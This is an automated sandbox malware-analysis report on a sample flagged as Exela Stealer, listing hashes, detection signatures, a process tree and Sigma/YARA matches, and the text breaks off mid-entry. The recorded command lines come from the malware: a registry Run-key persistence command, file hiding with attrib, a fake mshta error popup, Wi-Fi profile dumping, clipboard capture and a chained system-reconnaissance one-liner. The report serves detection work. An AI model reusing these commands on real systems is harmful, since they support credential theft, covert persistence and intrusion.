Edit tour

Windows Analysis Report
SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe
Analysis ID:	1431281
MD5:	d53e9b9d10affcf90e613abccc702ca2
SHA1:	24849b1a515347a75804d53c483ce6dffc78dbcc
SHA256:	0bcfadb848694ee56bf3fad6c3a9df4fde2d60cd52ce2a16be42b06fda520812
Tags:	exe
Infos:

Detection

Exela Stealer, Python Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Add file from suspicious location to autostart registry

Sigma detected: Capture Wi-Fi password

Yara detected Exela Stealer

Yara detected Python Stealer

Detected generic credential text file

Found many strings related to Crypto-Wallets (likely being stolen)

Gathers network related connection and port information

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Modifies the windows firewall

Overwrites the password of the administrator account

Performs a network lookup / discovery via ARP

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Sigma detected: MSHTA Suspicious Execution 01

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal WLAN passwords

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses attrib.exe to hide files

Uses ipconfig to lookup or modify the Windows network settings

Uses netsh to modify the Windows network and firewall settings

Uses netstat to query active network connections and open ports

AV process strings found (often used to terminate AV products)

Binary contains a suspicious time stamp

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for the Microsoft Outlook file path

Sigma detected: Console CodePage Lookup Via CHCP

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe (PID: 6760 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe" MD5: D53E9B9D10AFFCF90E613ABCCC702CA2)

SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe (PID: 6816 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe" MD5: D53E9B9D10AFFCF90E613ABCCC702CA2)

cmd.exe (PID: 6932 cmdline: C:\Windows\system32\cmd.exe /c "ver" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7116 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3732 cmdline: wmic path win32_VideoController get name MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7140 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 5428 cmdline: wmic computersystem get Manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 7160 cmdline: C:\Windows\system32\cmd.exe /c "gdb --version" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3228 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6168 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 2004 cmdline: C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 3980 cmdline: wmic path Win32_ComputerSystem get Manufacturer MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

cmd.exe (PID: 6936 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6404 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WMIC.exe (PID: 6600 cmdline: wmic csproduct get uuid MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

Conhost.exe (PID: 5480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6984 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7080 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7016 cmdline: C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 5812 cmdline: attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

cmd.exe (PID: 1076 cmdline: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7120 cmdline: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f MD5: 227F63E1D9008B36BDBCC4B397780BE4)

cmd.exe (PID: 7092 cmdline: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7116 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mshta.exe (PID: 7072 cmdline: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

cmd.exe (PID: 4592 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7104 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7044 cmdline: C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3320 cmdline: cmd.exe /c chcp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 7040 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 7112 cmdline: C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3696 cmdline: cmd.exe /c chcp MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

chcp.com (PID: 2132 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)

cmd.exe (PID: 2476 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7080 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 7096 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6988 cmdline: powershell.exe Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 7224 cmdline: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

systeminfo.exe (PID: 7312 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 7400 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

HOSTNAME.EXE (PID: 7516 cmdline: hostname MD5: 33AFAA43B84BDEAB12E02F9DBD2B2EE0)

WMIC.exe (PID: 7536 cmdline: wmic logicaldisk get caption,description,providername MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

net.exe (PID: 7652 cmdline: net user MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7668 cmdline: C:\Windows\system32\net1 user MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

query.exe (PID: 7684 cmdline: query user MD5: 29043BC0B0F99EAFF36CAD35CBEE8D45)

quser.exe (PID: 7700 cmdline: "C:\Windows\system32\quser.exe" MD5: 480868AEBA9C04CA04D641D5ED29937B)

net.exe (PID: 7716 cmdline: net localgroup MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7732 cmdline: C:\Windows\system32\net1 localgroup MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7748 cmdline: net localgroup administrators MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7764 cmdline: C:\Windows\system32\net1 localgroup administrators MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7780 cmdline: net user guest MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7796 cmdline: C:\Windows\system32\net1 user guest MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

net.exe (PID: 7816 cmdline: net user administrator MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 7832 cmdline: C:\Windows\system32\net1 user administrator MD5: 55693DF2BB3CBE2899DFDDF18B4EB8C9)

WMIC.exe (PID: 7848 cmdline: wmic startup get caption,command MD5: C37F2F4F4B3CD128BDABCAEB2266A785)

tasklist.exe (PID: 7880 cmdline: tasklist /svc MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

ipconfig.exe (PID: 7908 cmdline: ipconfig /all MD5: 62F170FB07FDBB79CEB7147101406EB8)

ROUTE.EXE (PID: 7932 cmdline: route print MD5: 3C97E63423E527BA8381E81CBA00B8CD)

ARP.EXE (PID: 7948 cmdline: arp -a MD5: 2AF1B2C042B83437A4BE82B19749FA98)

NETSTAT.EXE (PID: 7964 cmdline: netstat -ano MD5: 7FDDD6681EA81CE26E64452336F479E6)

sc.exe (PID: 7980 cmdline: sc query type= service state= all MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

netsh.exe (PID: 7996 cmdline: netsh firewall show state MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

netsh.exe (PID: 8024 cmdline: netsh firewall show config MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

cmd.exe (PID: 7232 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7252 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7320 cmdline: netsh wlan show profiles MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

svchost.exe (PID: 7596 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Exela.exe (PID: 8068 cmdline: "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" MD5: D53E9B9D10AFFCF90E613ABCCC702CA2)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816	JoeSecurity_ExelaStealer	Yara detected Exela Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816	JoeSecurity_PythonStealer	Yara detected Python Stealer	Joe Security
Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 16 entries

Sigma Signatures

System Summary

Sigma detected: MSHTA Suspicious Execution 01

Source: Process started

Author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule): Data: Command: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", CommandLine|base64offset|contains: m, Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7092, ParentProcessName: cmd.exe, ProcessCommandLine: mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()", ProcessId: 7072, ProcessName: mshta.exe

Sigma detected: Console CodePage Lookup Via CHCP

Source: Process started

Author: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: cmd.exe /c chcp, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3320, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 7040, ProcessName: chcp.com

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\reg.exe, ProcessId: 7120, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Exela Update Service

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f, CommandLine: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f, CommandLine|base64offset|contains: , Image: C:\Windows\System32\reg.exe, NewProcessName: C:\Windows\System32\reg.exe, OriginalFileName: C:\Windows\System32\reg.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1076, ParentProcessName: cmd.exe, ProcessCommandLine: reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f, ProcessId: 7120, ProcessName: reg.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f", CommandLine: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ParentProcessId: 6816, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Exela Update Service" /t REG_SZ /d "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe" /f", ProcessId: 1076, ProcessName: cmd.exe

Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe", ParentImage: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ParentProcessId: 6816, ParentProcessName: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard", ProcessId: 7096, ProcessName: cmd.exe

Sigma detected: Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), omkar72, @svch0st, Nasreddine Bencherchali (Nextron Systems): Data: Command: net localgroup administrators, CommandLine: net localgroup administrators, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: net localgroup administrators, ProcessId: 7748, ProcessName: net.exe

Sigma detected: Local Accounts Discovery

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7224, ParentProcessName: cmd.exe, ProcessCommandLine: net user, ProcessId: 7652, ProcessName: net.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user, CommandLine: net user, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo 